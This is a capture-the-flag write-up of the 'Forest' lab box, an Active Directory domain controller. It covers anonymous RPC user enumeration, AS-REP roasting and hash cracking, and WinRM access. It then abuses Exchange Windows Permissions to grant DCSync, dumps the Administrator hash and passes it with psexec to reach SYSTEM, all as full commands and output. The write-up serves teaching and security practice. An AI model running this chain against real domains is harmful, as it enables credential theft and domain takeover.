Forest

Jun 23, 2026 Easy

Introduction

Forest is an easy Windows machine, but it is easy only if you already speak Active Directory. There is no web app, no CVE, no memory corruption. The whole box is a chain of AD misconfigurations that you unlock by reading enumeration output and by trusting what BloodHound draws for you.

The path looks like this: the domain controller allows an anonymous RPC session, which leaks the full list of domain users. One of those users, svc-alfresco, has Kerberos pre-authentication disabled, so we AS-REP roast his hash and crack it offline. That shell drops us into a domain where svc-alfresco sits (through nested groups) inside Account Operators, giving him control over the Exchange Windows Permissions group. That group holds WriteDACL over the domain object, which is the textbook road to DCSync and, from there, the Administrator hash.

It is a great box for learning why “just an anonymous bind” and “just a mail server group” are the sort of small facts that end with Domain Admin.

Enumeration

I mapped the host first, because Kerberos and LDAP tooling behave far better against a hostname than a bare IP.

BASH
echo "<target_ip>  htb.local FOREST.htb.local" | sudo tee -a /etc/hosts

Service Discovery

I ran a full TCP sweep, then a scripted version scan against the open ports.

BASH
sudo nmap htb.local -T4 --min-rate 3500 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oN scans/service-scan.nmap
BASH
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-23 08:12:39Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf       .NET Message Framing
Service Info: Host: FOREST; OS: Windows

The fingerprint is a domain controller for htb.local: Kerberos (88), LDAP (389/3268/636), SMB (445), DNS (53). smb-os-discovery confirmed Windows Server 2016 and the FQDN FOREST.htb.local. The port that will become our shell is 5985 (WinRM), but we need a credential first.

A UDP scan (-sU -p 53,88,123,389) only returned the expected DC services. Nothing actionable, but worth running to rule it out rather than assume.

Harvesting domain users over RPC

On a modern DC, SMB null sessions are usually locked down, but Forest still allows an anonymous MS-RPC session against SAMR. That is enough to enumerate every domain account. I used enum4linux-ng, which dumps the users as clean YAML.

BASH
enum4linux-ng -A htb.local

Two things jumped out of the RPC user list:

YAML
'1145':
  username: sebastien
  name: Sebastien Caron
'1146':
  username: lucinda
  name: Lucinda Berger
'1147':
  username: svc-alfresco
  name: svc-alfresco
'1150':
  username: andy
  name: Andy Hislip
'1151':
  username: mark
  name: Mark Brandt
'1152':
  username: santi
  name: Santi Rodriguez
  • A handful of real user accounts: sebastien, lucinda, svc-alfresco, andy, mark, santi.
  • A large block of Exchange-related service accounts (SM_*, HealthMailbox*, “Microsoft Exchange Approval Assistant”, “Microsoft Exchange Federation Mailbox”). Those are noise for a login attempt, but they are a loud signal: Exchange is installed on this domain. File that away, because the privesc lives in an Exchange group.

I saved the human accounts into a wordlist for the next step.

BASH
cat users.txt
santi
mark
sebastien
lucinda
svc-alfresco
andy
administrator

Foothold

AS-REP Roasting

With a user list and no credentials, the first Kerberos question is always: does any account have pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH)? If so, the KDC will hand out an AS-REP encrypted with that user’s key to anybody, which we can crack offline. Impacket’s GetNPUsers tests the whole list at once.

BASH
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt -dc-ip <target_ip> -format hashcat -outputfile asrep.hash
TEXT
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:54539d34...c3cf889f6a6a711296da16ecc36140baf0c9d2e1022feb2312f1e7f6e
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

Only svc-alfresco returned a hash. I cracked it with hashcat (mode 18200 = AS-REP) against rockyou.

BASH
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice

That gives us svc-alfresco:s3rvice.

WinRM shell

I checked the credential against WinRM with NetExec. (Pwn3d!) means the account is in Remote Management Users and we get an interactive shell.

BASH
nxc winrm htb.local -u svc-alfresco -p s3rvice
WINRM  <target_ip>  5985  FOREST  [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
BASH
evil-winrm -i <target_ip> -u svc-alfresco -p s3rvice

That is our foothold and the user flag.

Post-Exploitation Enumeration

A single low-priv shell in AD is a starting point, not an answer. The fastest way to see what svc-alfresco can actually do to the domain is BloodHound. I collected remotely with the Python ingestor.

BASH
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns <target_ip> -c All --zip

Marking svc-alfresco as owned and looking at outbound object control made the path obvious:

  • svc-alfresco is a member of Service Accounts, which is nested into Privileged IT Accounts, which is nested into Account Operators. Account Operators can create users and manage most non-protected groups.
  • Through that membership, svc-alfresco has GenericAll over the Exchange Windows Permissions group.
  • Exchange Windows Permissions holds WriteDACL on the domain object (htb.local). Installing Exchange adds this group and grants it the ability to modify the domain ACL, which is exactly the primitive needed to grant DCSync rights.

So the chain BloodHound draws is: svc-alfresco → (GenericAll) → Exchange Windows Permissions → (WriteDACL) → domain → DCSync → Administrator hash.

Privilege Escalation — Exchange Windows Permissions to DCSync

The plan follows the BloodHound abuse info directly. From the Evil-WinRM session I loaded PowerView.

POWERSHELL
*Evil-WinRM* PS C:\> Import-Module .\PowerView.ps1

1. Use GenericAll to add ourselves to Exchange Windows Permissions.

POWERSHELL
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'

2. Use the group’s WriteDACL on the domain to grant ourselves DCSync. The DCSync right (the replication extended rights) has to be applied to the domain object, not to a group.

POWERSHELL
$pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity 'htb.local' -PrincipalIdentity 'svc-alfresco' -Rights DCSync

Watch out — the box fights back. Forest runs a cleanup script that strips these group memberships and ACLs roughly every 60 seconds and resets the environment. If your DCSync fails, it usually means the reset fired between steps. Have both commands ready and run the dump immediately after.

3. DCSync the Administrator hash. With the replication rights in place, I pulled the Administrator secret from Linux with secretsdump.

BASH
impacket-secretsdump htb.local/svc-alfresco:s3rvice@<target_ip> -just-dc-user Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

4. Pass-the-Hash to SYSTEM. No cracking needed. The NT hash authenticates directly through psexec.

BASH
impacket-psexec htb.local/Administrator@<target_ip> -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

C:\Windows\system32> whoami
nt authority\system

Machine rooted.

Attack Chain Recap

TEXT
anonymous RPC session (enum4linux-ng)  ->  full domain user list (incl. svc-alfresco)
GetNPUsers -no-pass                     ->  svc-alfresco AS-REP hash (no pre-auth)
hashcat -m 18200                        ->  svc-alfresco:s3rvice
evil-winrm                              ->  foothold + user flag
BloodHound                              ->  svc-alfresco -> GenericAll -> Exchange Windows Permissions -> WriteDACL -> domain
Add-DomainGroupMember                   ->  join Exchange Windows Permissions
Add-DomainObjectAcl -Rights DCSync      ->  grant self replication rights on htb.local
impacket-secretsdump -just-dc-user      ->  Administrator NT hash
impacket-psexec -hashes                 ->  NT AUTHORITY\SYSTEM

Key takeaways

  • Anonymous RPC is not “nothing”. Even when SMB null sessions are blocked, SAMR over MS-RPC often still leaks the full user list, which is all you need to start Kerberos attacks.
  • AS-REP roast the whole domain, not one user. GetNPUsers with a user list finds the one misconfigured account for you instead of guessing.
  • Exchange installs a domain-privileged group. Exchange Windows Permissions with WriteDACL on the domain is a classic, and any control over it is effectively a path to DCSync.
  • Let BloodHound plan the privesc. Marking your foothold user as owned and reading the outbound-control graph turned a confusing pile of nested groups into a three-command exploit.
  • Watch for reset scripts. When ACL abuse “randomly” fails on a lab box, suspect a cleanup task and run your steps back to back.